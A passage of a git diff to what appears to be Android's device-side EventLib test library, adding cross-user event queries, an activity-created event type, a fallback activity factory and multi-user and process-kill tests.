             if (mEventLogsQuery.eventClass().isInstance(event)) {
                 if (event.mTimestamp.isBefore(earliestLogTime)) {
                     continue;
@@ -70,8 +74,8 @@
 
     @Override
     public E next(Instant earliestLogTime) {
-        while (!mEvents.isEmpty()) {
-            Event event = mEvents.removeFirst();
+        while (!mFetchedEvents.isEmpty()) {
+            Event event = mFetchedEvents.removeFirst();
 
             if (mEventLogsQuery.eventClass().isInstance(event)) {
                 if (event.mTimestamp.isBefore(earliestLogTime)) {
@@ -94,7 +98,7 @@
             Event event = null;
             try {
                 Duration remainingTimeout = Duration.between(Instant.now(), endTime);
-                event = mEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
+                event = mFetchedEvents.pollFirst(remainingTimeout.toMillis(), TimeUnit.MILLISECONDS);
             } catch (InterruptedException e) {
                 return null;
             }
@@ -119,6 +123,6 @@
 
     @Override
     public void onNewEvent(Event event) {
-        mEvents.addLast(event);
+        mFetchedEvents.addLast(event);
     }
 }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
index ad8b85e..4efd3ce 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/QueryService.java
@@ -53,7 +53,8 @@
         @Override
         public void init(long id, Bundle data) {
             EventLogsQuery<?, ?> query = (EventLogsQuery<?, ?>) data.getSerializable(QUERIER_KEY);
-            LocalEventQuerier<?, ?> querier = new LocalEventQuerier<>(query);
+            LocalEventQuerier<?, ?> querier =
+                    new LocalEventQuerier<>(getApplicationContext(), query);
 
             clients.put(id, new QueryClient(query, querier));
         }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
index 6aa2989..26c9f97 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
@@ -37,6 +37,7 @@
 import java.time.Instant;
 import java.util.UUID;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 
 /**
@@ -45,6 +46,7 @@
 public class
     RemoteEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E> {
 
+    private static final int CONNECTION_TIMEOUT_SECONDS = 30;
     private static final String LOG_TAG = "RemoteEventQuerier";
     private static final Context CONTEXT =
             InstrumentationRegistry.getInstrumentation().getContext();
@@ -159,9 +161,19 @@
         Intent intent = new Intent();
         intent.setPackage(mPackageName);
         intent.setClassName(mPackageName, "com.android.eventlib.QueryService");
-        if (CONTEXT.bindService(intent, connection, /* flags= */ BIND_AUTO_CREATE)) {
+
+        boolean didBind;
+        if (mEventLogsQuery.getUserHandle() != null) {
+            didBind = CONTEXT.bindServiceAsUser(
+                    intent, connection, /* flags= */ BIND_AUTO_CREATE,
+                    mEventLogsQuery.getUserHandle());
+        } else {
+            didBind = CONTEXT.bindService(intent, connection, /* flags= */ BIND_AUTO_CREATE);
+        }
+
+        if (didBind) {
             try {
-                mConnectionCountdown.await();
+                mConnectionCountdown.await(CONNECTION_TIMEOUT_SECONDS, TimeUnit.SECONDS);
             } catch (InterruptedException e) {
                 throw new AssertionError("Interrupted while binding to service", e);
             }
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
new file mode 100644
index 0000000..0d18e5a
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link Activity#onCreate(Bundle)} or
+ * {@link Activity#onCreate(Bundle, PersistableBundle)} is called.
+ */
+public final class ActivityCreatedEvent extends Event {
+
+    /** Begin a query for {@link ActivityCreatedEvent} events. */
+    public static ActivityCreatedEventQuery queryPackage(String packageName) {
+        return new ActivityCreatedEventQuery(packageName);
+    }
+
+    public static final class ActivityCreatedEventQuery
+            extends EventLogsQuery<ActivityCreatedEvent, ActivityCreatedEventQuery> {
+        String mName;
+        String mSimpleName;
+        SerializableParcelWrapper<Bundle> mSavedInstanceState;
+        SerializableParcelWrapper<PersistableBundle> mPersistentState;
+
+        private ActivityCreatedEventQuery(String packageName) {
+            super(ActivityCreatedEvent.class, packageName);
+        }
+
+        public ActivityCreatedEventQuery withSavedInstanceState(Bundle savedInstanceState) {
+            mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            return this;
+        }
+
+        public ActivityCreatedEventQuery withPersistentState(PersistableBundle persistentState) {
+            mPersistentState = new SerializableParcelWrapper<>(persistentState);
+            return this;
+        }
+
+        public ActivityCreatedEventQuery withActivityClass(Class<?> clazz) {
+            return withActivityName(clazz.getName());
+        }
+
+        public ActivityCreatedEventQuery withActivityName(String name) {
+            mName = name;
+            return this;
+        }
+
+        public ActivityCreatedEventQuery withActivitySimpleName(String simpleName) {
+            mSimpleName = simpleName;
+            return this;
+        }
+
+        @Override
+        protected boolean filter(ActivityCreatedEvent event) {
+            if (mSavedInstanceState != null
+                    && !mSavedInstanceState.equals(event.mSavedInstanceState)) {
+                return false;
+            }
+            if (mPersistentState != null && !mPersistentState.equals(event.mPersistentState)) {
+                return false;
+            }
+            if (mName != null && !mName.equals(event.mName)) {
+                return false;
+            }
+            if (mSimpleName != null && !mSimpleName.equals(event.mSimpleName)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityCreatedEvent}. */
+    public static ActivityCreatedEventLogger logger(Activity activity, Bundle savedInstanceState) {
+        return new ActivityCreatedEventLogger(activity, savedInstanceState);
+    }
+
+    public static final class ActivityCreatedEventLogger extends EventLogger<ActivityCreatedEvent> {
+        private ActivityCreatedEventLogger(Activity activity, Bundle savedInstanceState) {
+            super(activity, new ActivityCreatedEvent());
+            mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            setName(activity.getClass().getName());
+            setSimpleName(activity.getClass().getSimpleName());
+            // TODO(scottjonathan): Add more information about the activity (e.g. parse the
+            //  manifest)
+        }
+
+        public ActivityCreatedEventLogger setName(String name) {
+            mEvent.mName = name;
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setSimpleName(String simpleName) {
+            mEvent.mSimpleName = simpleName;
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setSavedInstanceState(Bundle savedInstanceState) {
+            mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setPersistentState(PersistableBundle persistentState) {
+            mEvent.mPersistentState = new SerializableParcelWrapper<>(persistentState);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Bundle> mSavedInstanceState;
+    protected SerializableParcelWrapper<PersistableBundle> mPersistentState;
+    protected String mName;
+    protected String mSimpleName;
+
+    public Bundle savedInstanceState() {
+        if (mSavedInstanceState == null) {
+            return null;
+        }
+        return mSavedInstanceState.get();
+    }
+
+    public PersistableBundle persistentState() {
+        if (mPersistentState == null) {
+            return null;
+        }
+        return mPersistentState.get();
+    }
+
+    public String name() {
+        return mName;
+    }
+
+    public String simpleName() {
+        return mSimpleName;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityCreatedEvent{" +
+                " savedInstanceState=" + savedInstanceState() +
+                ", persistentState=" + persistentState() +
+                ", name=" + mName +
+                ", simpleName=" + mSimpleName +
+                ", mPackageName='" + mPackageName + '\'' +
+                ", mTimestamp=" + mTimestamp +
+                '}';
+    }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
new file mode 100644
index 0000000..3d3e0cf
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+/**
+ * An {@link Activity} which logs events for all lifecycle events.
+ */
+public class EventLibActivity extends Activity {
+
+    private String mOverrideActivityClassName;
+    private String mOverrideActivitySimpleName;
+
+    public void setOverrideActivityClassName(String overrideActivityClassName) {
+        mOverrideActivityClassName = overrideActivityClassName;
+        mOverrideActivitySimpleName = getSimpleName(overrideActivityClassName);
+    }
+
+    private static String getSimpleName(String name) {
+        final int dot = name.lastIndexOf(".");
+        if (dot > 0) {
+            return name.substring(name.lastIndexOf(".")+1); // strip the package name
+        }
+        return name;
+    }
+
+    /** Log a {@link ActivityCreatedEvent}. */
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        logOnCreate(savedInstanceState, /* persistentState= */ null);
+    }
+
+    /** Log a {@link ActivityCreatedEvent}. */
+    @Override
+    public void onCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+        super.onCreate(savedInstanceState, persistentState);
+        logOnCreate(savedInstanceState, persistentState);
+    }
+
+    private void logOnCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+        ActivityCreatedEvent.ActivityCreatedEventLogger logger =
+                ActivityCreatedEvent.logger(this, savedInstanceState)
+                        .setPersistentState(persistentState);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setName(mOverrideActivityClassName)
+                    .setSimpleName(mOverrideActivitySimpleName);
+        }
+
+        logger.log();
+    }
+
+    @Override
+    protected void onStart() {
+        // TODO(scottjonathan): Add log
+        super.onStart();
+    }
+
+    @Override
+    protected void onRestart() {
+        // TODO(scottjonathan): Add log
+        super.onRestart();
+    }
+
+    @Override
+    protected void onResume() {
+        // TODO(scottjonathan): Add log
+        super.onResume();
+    }
+
+    @Override
+    protected void onPause() {
+        // TODO(scottjonathan): Add log
+        super.onPause();
+    }
+
+    @Override
+    protected void onStop() {
+        // TODO(scottjonathan): Add log
+        super.onStop();
+    }
+
+    @Override
+    protected void onDestroy() {
+        // TODO(scottjonathan): Add log
+        super.onDestroy();
+    }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
new file mode 100644
index 0000000..a32cfd9
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.app.AppComponentFactory;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * An {@link AppComponentFactory} which redirects invalid class names to premade EventLib classes.
+ */
+public class EventLibAppComponentFactory extends AppComponentFactory {
+
+    private static final String LOG_TAG = "EventLibACF";
+
+    @Override
+    public Activity instantiateActivity(ClassLoader cl, String className, Intent intent)
+            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+
+        try {
+            return super.instantiateActivity(cl, className, intent);
+        } catch (ClassNotFoundException e) {
+            Log.d(LOG_TAG,
+                    "Activity class (" + className + ") not found, routing to EventLibActivity");
+            EventLibActivity activity =
+                    (EventLibActivity) super.instantiateActivity(
+                            cl, EventLibActivity.class.getName(), intent);
+            activity.setOverrideActivityClassName(className);
+            return activity;
+        }
+    }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
new file mode 100644
index 0000000..bb39bb5
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.util;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+/** A wrapper around a {@link Parcelable} which makes it {@link Serializable}. */
+public class SerializableParcelWrapper<E extends Parcelable> implements Serializable {
+
+    private static final long serialVersionUID = 0;
+
+    private E parcelable;
+
+    public SerializableParcelWrapper(E parcelable)  {
+        this.parcelable = parcelable;
+    }
+
+    public E get() {
+        return parcelable;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof SerializableParcelWrapper)) {
+            return false;
+        }
+        SerializableParcelWrapper<E> other = (SerializableParcelWrapper<E>) obj;
+
+        return parcelable.equals(other.parcelable);
+    }
+
+    @Override
+    public int hashCode() {
+        return parcelable.hashCode();
+    }
+
+    // Serializable readObject
+    private void readObject(ObjectInputStream inputStream) throws ClassNotFoundException,
+            IOException {
+        int size = inputStream.readInt();
+        byte[] bytes = new byte[size];
+        inputStream.read(bytes);
+        Parcel p = Parcel.obtain();
+        p.unmarshall(bytes, 0, size);
+        parcelable = p.readParcelable(Parcelable.class.getClassLoader());
+        p.recycle();
+    }
+
+    // Serializable writeObject
+    private void writeObject(ObjectOutputStream outputStream) throws IOException {
+        Parcel p = Parcel.obtain();
+        p.writeParcelable(parcelable, /* flags= */ 0);
+        byte[] bytes = p.marshall();
+        p.recycle();
+
+        outputStream.writeInt(bytes.length);
+        outputStream.write(bytes);
+    }
+}
diff --git a/common/device-side/eventlib/src/test/AndroidManifest.xml b/common/device-side/eventlib/src/test/AndroidManifest.xml
index 438816d..710df7b 100644
--- a/common/device-side/eventlib/src/test/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/test/AndroidManifest.xml
@@ -18,9 +18,14 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.eventlib.test">
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
     <application
-        android:label="Event Library Tests">
+        android:label="Event Library Tests" android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
         <uses-library android:name="android.test.runner" />
+
+        <activity android:name="com.android.eventlib.premade.EventLibActivity" android:exported="true" />
+        <activity android:name="com.android.generatedEventLibActivity" android:exported="true" />
+
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.eventlib.test"
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
index ed5e718..09ce58f 100644
--- a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
@@ -22,12 +22,18 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.fail;
 
+import android.app.ActivityManager;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
+import android.os.UserManager;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.eventlib.events.CustomEvent;
 
 import org.junit.After;
@@ -37,6 +43,7 @@
 import org.junit.runners.JUnit4;
 
 import java.time.Duration;
+import java.util.HashSet;
 import java.util.concurrent.Executors;
 import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.TimeUnit;
@@ -46,6 +53,8 @@
     private static final Context CONTEXT =
             InstrumentationRegistry.getInstrumentation().getContext();
     private static final String TEST_APP_PACKAGE_NAME = "com.android.eventlib.tests.testapp";
+    private static final String INCORRECT_PACKAGE_NAME = "com.android.eventlib.tests.notapackage";
+    private static final UserHandle NON_EXISTING_USER_HANDLE = UserHandle.of(1000);
 
     private static final String TEST_TAG1 = "TEST_TAG1";
     private static final String TEST_TAG2 = "TEST_TAG2";
@@ -1040,6 +1049,139 @@
         assertThat(eventLogs.pollOrFail()).isNotNull();
     }
 
+    @Test
+    public void otherProcessGetsKilled_stillReturnsLogs() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ null);
+
+        killTestApp();
+
+        assertThat(CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get()).isNotNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilledMultipleTimes_stillReturnsOriginalLog() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        killTestApp();
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        assertThat(
+                CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void otherProcessGetsKilled_returnsLogsInCorrectOrder() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilledMultipleTimes_returnsLogsInCorrectOrder() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        killTestApp();
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void differentUser_queryWorks() {
+        // TODO(scottjonathan): This tests on a profile because otherwise we can't start the
+        //  activity. Once ConnectedTests is available, replace this
+        // TODO(scottjonathan): Once bedstead-Marshall is ready, replace this setup/teardown with
+        // annotations
+        UserHandle userHandle = createProfile();
+        try {
+            installTestAppInUser(userHandle);
+            logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG1, /* data= */ null);
+
+            EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                    .onUser(userHandle);
+
+            assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+        } finally {
+            removeUser(userHandle);
+        }
+    }
+
+    @Test
+    public void differentUser_doesntGetEventsFromWrongUser() {
+        UserHandle userHandle = createProfile();
+        try {
+            installTestAppInUser(userHandle);
+            logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+            logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG2, /* data= */ null);
+
+            EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                    .onUser(userHandle);
+
+            assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+            assertThat(eventLogs.next()).isNull();
+        } finally {
+            removeUser(userHandle);
+        }
+    }
+
+    @Test
+    public void onUser_passesNullUser_throwsNullPointerException() {
+        assertThrows(NullPointerException.class,
+                () -> CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                        .onUser(/* userHandle= */ null));
+    }
+
+    @Test
+    public void incorrectUserHandle_fails() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .onUser(NON_EXISTING_USER_HANDLE);
+
+        assertThrows(AssertionError.class, eventLogs::get);
+    }
+
+    @Test
+    public void incorrectPackageName_fails() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(INCORRECT_PACKAGE_NAME);
+
+        assertThrows(AssertionError.class, eventLogs::get);
+    }
+
+    private UserHandle createProfile() {
+        UserManager userManager = CONTEXT.getSystemService(UserManager.class);
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        UserHandle userHandle = userManager.createProfile("profile",
+                UserManager.USER_TYPE_PROFILE_MANAGED, new HashSet<>());
+        SystemUtil.runShellCommandOrThrow("am start-user -w " + userHandle.getIdentifier());
+        return userHandle;
+    }
+
+    private void installTestAppInUser(UserHandle userHandle) {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            CONTEXT.getPackageManager().installExistingPackageAsUser(
+                    TEST_APP_PACKAGE_NAME, userHandle.getIdentifier());
+
+        } catch (PackageManager.NameNotFoundException e) {
+            fail("Could not install test app in user", e);
+        }
+    }
+
+    private void removeUser(UserHandle userHandle) {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        CONTEXT.getSystemService(UserManager.class).removeUser(userHandle);
+    }
+
     private void scheduleCustomEventInOneSecond() {
         hasScheduledEvents = true;
 
@@ -1049,21 +1191,29 @@
         }, 1, TimeUnit.SECONDS);
     }
 
-    private void logCustomEventOnTestApp(String tag, String data) {
+    private void logCustomEventOnTestApp(UserHandle userHandle, String tag, String data) {
         Intent intent = new Intent();
         intent.setPackage(TEST_APP_PACKAGE_NAME);
         intent.setClassName(TEST_APP_PACKAGE_NAME, TEST_APP_PACKAGE_NAME + ".EventLoggingActivity");
         intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
         intent.putExtra("TAG", tag);
         intent.putExtra("DATA", data);
-        CONTEXT.startActivity(intent);
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        CONTEXT.startActivityAsUser(intent, userHandle);
 
         CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
                 .withTag(tag)
                 .withData(data)
+                .onUser(userHandle)
                 .pollOrFail();
     }
 
+    private void logCustomEventOnTestApp(String tag, String data) {
+        logCustomEventOnTestApp(UserHandle.CURRENT, tag, data);
+    }
+
     private void logCustomEventOnTestApp() {
         logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
     }
@@ -1075,7 +1225,11 @@
                 (Runnable) this::logCustomEventOnTestApp, 1, TimeUnit.SECONDS);
     }
 
-    // TODO: Add a test that when using another package (or another user) - if the other process
-    // gets killed, the log is persisted
+    private void killTestApp() {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        CONTEXT.getSystemService(ActivityManager.class).forceStopPackage(TEST_APP_PACKAGE_NAME);
+    }
 
+    // TODO: Ensure tests work on O+
 }
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
index 5a5a47e..800ee9e 100644
--- a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
@@ -24,12 +24,13 @@
 
 import com.android.eventlib.EventLogs;
 
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
 @RunWith(JUnit4.class)
-public class CustomEventTest {
+public final class CustomEventTest {
 
     // TODO: We need a standard pattern for testing that events log correctly cross-process
     // (when within the process serialization never happens)
@@ -40,6 +41,11 @@
     private static final String DATA_1 = "DATA_1";
     private static final String DATA_2 = "DATA_2";
 
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
     @Test
     public void queryTag_works() {
         CustomEvent.logger(CONTEXT)
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
new file mode 100644
index 0000000..e26d1cf
--- /dev/null
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.app.Activity;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityCreatedEventTest {
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    // TODO(scottjonathan): Replace mock with ContextActivity when ready
+    private final Activity mActivity = mock(Activity.class);
+    private final Bundle mSavedInstanceState = new Bundle();
+    private final PersistableBundle mPersistentState = new PersistableBundle();
+
+    // These values come from the mock
+    private final String DEFAULT_ACTIVITY_NAME = mActivity.getClass().getName();
+    private final String DEFAULT_ACTIVITY_SIMPLE_NAME = mActivity.getClass().getSimpleName();
+
+    private static final String CUSTOM_ACTIVITY_NAME = "customActivityName";
+
+    @Before
+    public void setUp() {
+        when(mActivity.getApplicationContext()).thenReturn(CONTEXT);
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void querySavedInstanceState_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState).log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withSavedInstanceState(mSavedInstanceState);
+
+        assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+    }
+
+    @Test
+    public void queryPersistentState_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .setPersistentState(mPersistentState)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withPersistentState(mPersistentState);
+
+        assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+    }
+
+    @Test
+    public void queryName_customValueOnLogger_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .setName(CUSTOM_ACTIVITY_NAME)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                .withActivityName(CUSTOM_ACTIVITY_NAME);
+
+        assertThat(eventLogs.get().name()).isEqualTo(CUSTOM_ACTIVITY_NAME);
+    }
+
+    @Test
+    public void querySimpleName_customValueOnLogger_works() {
+        ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+                .setSimpleName(CUSTOM_ACTIVITY_NAME)
+                .log();
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                        .withActivitySimpleName(CUSTOM_ACTIVITY_NAME);
+
+        assertThat(eventLogs.get().simpleName()).isEqualTo(CUSTOM_ACTIVITY_NAME);
+    }
+
